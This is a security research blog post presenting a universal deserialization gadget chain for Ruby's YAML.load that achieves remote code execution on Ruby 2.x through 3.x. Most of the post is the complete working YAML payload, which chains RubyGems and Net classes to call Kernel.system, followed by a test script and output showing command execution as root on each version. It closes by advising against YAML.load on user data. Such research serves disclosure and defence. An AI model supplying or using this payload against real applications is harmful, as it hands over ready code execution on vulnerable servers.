Universal RCE with Ruby YAML.load (versions > 2.7)

January 9, 2021

A couple of years ago I wrote a universal YAML.load deserialization RCE gadget based on the work by Luke Jahnke from elttam. This has since been patched and no longer works on Ruby versions after 2.7.2 and Rails 6.1. Fortunately, William Bowling (vakzz) has found a new gadget chain that works on all Ruby versions 2.x - 3.x. His write-up for this is excellent and I highly recommend you give it a read: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html.

As with the previous gadget I wanted to make this exploitable via `YAML.load`. In this instance I'm not going to go through the whole process of getting to this, since it was almost identical to the process covered in my previous post.

New YAML payload

The new payload is pretty straight forward and easy to understand. The one interesting part is that the payload needs to include both `Gem::Installer` and `Gem::SpecFetcher` to ensure all the required classes are loaded by the autoloader. To accomplish this, they are added as ruby objects at the start of the yaml payload. For these to actually be loaded/deserialized, they need to have data, thus the `i: x` and `i: y`. These don't matter, they simply need to be valid Yaml.

The actual command to execute is in the `git_set` entry:

```
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
```

Using the following Ruby script to test the payload:

```
require "yaml"

YAML.load(File.read("p.yml"))
```

The outcome is RCE, there is still an error that occurs, but at this point command execution has already occurred.

```
rubby@rev:/tmp$ ruby r.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        32: from r.rb:8:in `<main>'
        31: from /usr/local/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/local/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `acce
```

```
        28: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accep
        27: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visi
        26: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `vis
        25: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `acce
        24: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accep
        23: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visi
        22: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `vis
        21: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `req
        20: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `eac
        19: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `blo
        18: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `acce
        17: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accep
        16: from /usr/local/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visi
        15: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `vis
        14: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `rev
        13: from /usr/local/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `ini
        12: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:220:in `init_
        11: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:216:in `yaml_
        10: from /usr/local/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_s
         9: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in
         8: from /usr/local/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:ir
         7: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/local/lib/ruby/2.7.0/rubygems/request_set.rb:400:in `resol
         2: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/local/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversio
```

Using vakzz's test (and adding a `rescue nil` to silence the error message), you get the same results showing that this works on ruby 2.x through 3.x:

```
~/ruby# for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker
ruby:2.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
```

```
ruby:2.3 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
```

Conclusion

As always, never use `YAML.load` with user supplied data, better yet, stick to using SafeYAML.

Payload: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565

security research ruby

← Next Post Home Page Prev Post →

© 2022 Staaldraad · Powered by Hugo · Theme Paper